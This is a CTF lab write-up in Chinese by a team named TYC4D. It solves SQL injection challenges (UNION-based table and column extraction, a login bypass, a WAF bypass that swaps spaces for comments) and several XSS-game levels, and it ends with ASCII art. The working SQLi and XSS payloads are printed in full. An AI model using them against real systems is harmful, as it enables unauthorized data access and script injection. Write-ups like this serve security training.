[toc]
# CTF平台 - SecurityCamp2022 Web 高階
---
- 隊伍名稱 : TYC4D
- 解題佐證

## SQLi-1
右上角可以進行ID之查詢
使用註解發現都會出現SQL Error
所以推測是單純Numeric 注入攻擊
### 過程
1. 進行 or 1=1 試試看
2. 進行 order by 測深度
3. 還不知道table名稱以及colunm名稱 利用information.schema查出
4. DB - myDb
5. table - secret
6. colunm - id THIS_IS_FLAG
```SQL=
UNION SELECT null,column_name,null FROM information_schema.columns where table_name='secret'```
5. 最後選出
```SQL=
union select null,id,THIS_IS_FLAG from secret
```
### 佐證

## SQLi-2
看完註解程式碼發現
- 選出來的資料進行判斷是否和資料庫一樣
- 是以array為單位
- 沒有使用WAF

### 過程
決定進行UNION INJECTION
將密碼改為自訂的 1337
帳號欄位填入下列語法,密碼則為1337 即可在第二次檢查拿到FLAG
```SQL=
' or 1=1 union select username,1337 from ctfuser--
```
### 佐證

# FEIFEI LAB平台
- 隊伍名稱 : tyc4d
- 解題佐證 :

## SQL-ByPassWAF
1. 目前table在 user_data 先看看有沒有需要的資訊
2. 利用註解大法將SQL注入語法空格替換掉
```SQL=
'/**/or/**/'1'='1'/**/union/**/select/**/null,column_name,null/**/FROM/**/information_schema.columns/**/where/**/table_name='user_data
```

3. 發現沒有,開始找table
```SQL=
'/**/or/**/'1'='1'/**/union/**/select/**/null,table_name,null/**/from/**/information_schema.tables/**/where/**/'1'='1
```

4. 可能在 user_salary_data ,爆出來看看
```SQL=
'/**/or/**/'1'='1'/**/union/**/select/**/null,column_name,null/**/from/**/information_schema.columns/**/where/**/table_name='user_salary_data
```
5. 找到salary欄位,選出來看看
```SQL=
'/**/or/**/'1'='1'/**/union/**/select/**/userid,user_name,salary/**/from/**/user_salary_data/**/where/**/user_name='Pedro
```

# XSS-GAME
https://xss-game.appspot.com/
- 解題佐證

## WriteUp
1. 
```javascript=
<script>alert(1)</script>
```
3. 
```javascript=
<img src="example.com/d.png" onerror=alert(1)>
```
5. </script>
```
6. 
注入點

```javascript=
1');alert('1
```
8. 
```javascript=
javascript:alert('hi');
```
### 外置js注入 / 物件型態
10. 
#### call google
```javascript=
www.google.com/jsapi?callback=alert
```
#### data
```javascript=
data:text/javascript,alert('exp')
```
-oooo:-
omhsoosho`
Ndo:``:oh-
dms+--+ym:
-ymhohdh+`
`N/`.s.
+: +
-- :
-- o
.. +
:: s ..`
.:sssso. -- + :syhhyo`
..::::. `odhhyyhdd. :: s .mhhyhhdh. -:...`
/dhhhhhhs .odddhyhdddh+y: my-syhdhhyhhddy/` .odhyyhh:
yNdhyyoyhmo+::+ms/+++//++/odm: NNmNd+///+++/+ody::omhyssyhdm-
-sddyyyyyyyoommmmmmdhyyyyyyhddd: `ddmdmdhyssyyhhmmNNNNdhyyyyyhmo-`
``-omdyyyssys///shdddddddddmmdddhyy-``yhddddhhhhhdmmmmmmdd/oyssyyyyhmhss-`
`:ohhdmddhhyyyyyshddddhhyyyyyhddhhyo:-...--shhyysssyyhhdhhhddyyysyyyhdddmNNmyo.
/hNNmmd/:o+/////:`/osyhhyyys+syyhhyysysooossyyyyyooyyyyyyysyy+./oooooos/:ydNNmNmo.
+dNmmmmmhoo+///////oossshhyyyyyyyyssoossoosoosssyyyyyyyhsoyyyys/:-..--:/+sdddmmmNMy
`hNmmdmmdmddddhhhyhysso+.oyssssso-./o:-/+oo++oo--osoooooo..oyyhyyyyyyhhhyhdddmmdmNNN
`yNmNNhhdmdddhhhyyyyyyys:-......`./+++/:o++oo++/-````..::/+sysysyyyhsshhhydddmmmNNNN
sMNNNNNNmmdmdhhhhyyyyyyhhssssoo+oo/+//:/+//+:++++ooosyooyssosyyhhyhsshdhdmmNmNmmMMN
-NNNNNNhmNmdmmmdddddmhhhyyyyssys///+/:://////o+osoo+osoossosyhhdddh+omddmNNmmNmNMMN
oMNNNNNNNNdydNmmmmmdhydhhsoooodhydhsshys+soyooooosssyhyhymdhdhyddmmmdmNNNNNNmNNNMMM
yMMNNNMmmNdmmNNNNNNmh/sysyysyhyddmhhyhyhhddyyyhmddhhdmdddmmmdmmmmNNmmmNmNNNNmMNMMMM
.dMMNNMMNNNmNNNNNNmmNNhsddddNNdmhdmddyyhdhdhdddhdmhhdddhmddmmmNNNNNNNNNNNNNNNNMNMMMM
:NMMMNMMNMNhhmNNNNmdmNNmhddmdNmmmmmmddddNmdhdhddddmddmmmmmmNdNmdmmNNNmNNNNNdmMMMMMMM
-mMMMMMNNmNNmNNNNNNNNNNNdmmNmNmNmNmmNNmmNNdhddmmmmNmhhhyohNMNMNmmmmNdmNNMMMNNMMMMMMM
.dMMMMMMNNNMMMMMNNNNNMNmmmNNNmmmmNNdddmmNNNmmdNNmNNNmmNNNNNNNNNNNNNNNmNNNNNmNMMMMMMM
:NMMMMMMMMMMMMMMMNmmNMNNNNNNNmmNmNNNNmdmNNNNNNNmNNdmNNMMNMmNNNNNNMMNdmNNNMNmmMMMMMMM
:NNMMMMMMMMMMMMMMMMNNMNNMNNNMMMNNNNNNmNmdmmmNNNNNNmmNNNNNNNNNNMNNMMMNNNNMMNmMMMMNNMN
:NMMMNNMMMMMMMMMMMMMNNMMMMNMMMNmNNMNNNNNmhNMNNMNNNMMNMMMMMNNMMNNNMNMMMMNMMNNMMNMNMMM
`hMMMNdMNNMNNNNNMMNNNNMMMMMMMMNmNMMMMNNNNNNNdmmmMNMMMMMMNNMMNmdNMMNMNNNNMNmmNMNMMMMN
yMMMMNMMNMNmmNNNMNmddmMMNNNMNNNNNMMNNNNMNNNNNNNmNNNNNNNNNNNNNddNdmdmmNNMNNdMMMMMMMN
yMMMMNMNMMNNMMNNNNmdmmNMNNdhmMNNNNNNmNMMddddmNNNmNNMMNmNmmmmmNNmmmmNMMMMMMNNNMMMMMN
yNNNMMNNMMMMMMNNNNNMmmdNNNNNNNNNNNNmNNNNNmNmmNNNNNNNNNNNmNmNNNNNNNNNNNNNMMMNNMMMMMy
+MMMMMMMMMMMNNNNMMMNNNNmNNNMNMNNMNNmhdNNNNNmNNNmmNNNNNNNNNNNMMNNmNNNNNMNMNMMMMMMMN:
NMMMMNMMMMMMMNNNNNNdNMNNNNNNmNNNNNNNNNmmhNNNNmdNNNNNNNNNMMNNMNNNNNNNNNMMMMNNMMMNs`
-sdmNMNNMMMMMNNNNmmmmNNNMNmNMNNNNNNNMNmNNNNNNmmmdmNNNMNmmmmNMNNMNMmmNNMMMNMNmd+-`
`.ohNNMMNMMNMNNmdmNNNNNNmNMNNMNNNNmNNNmmmNmNMMNNMNNMMNNNNNNNNNNMMMMMMMNNho.`
:+hdNNNNNNNNNNNNNNmNNNNNNNMNNNmNNNNmMmmmNNNMNNNNNNNNMNNMMMMMNNmdds/-
`--:+shddmmNmmmmNNNNMNNNMNNNNNNNNNNMMNMMMNNNmNNNMNNNNdh++/-.`
`--++osdddddddysNmmhshmmmmmNmddddddho/:++/---
`-.-. .------. ```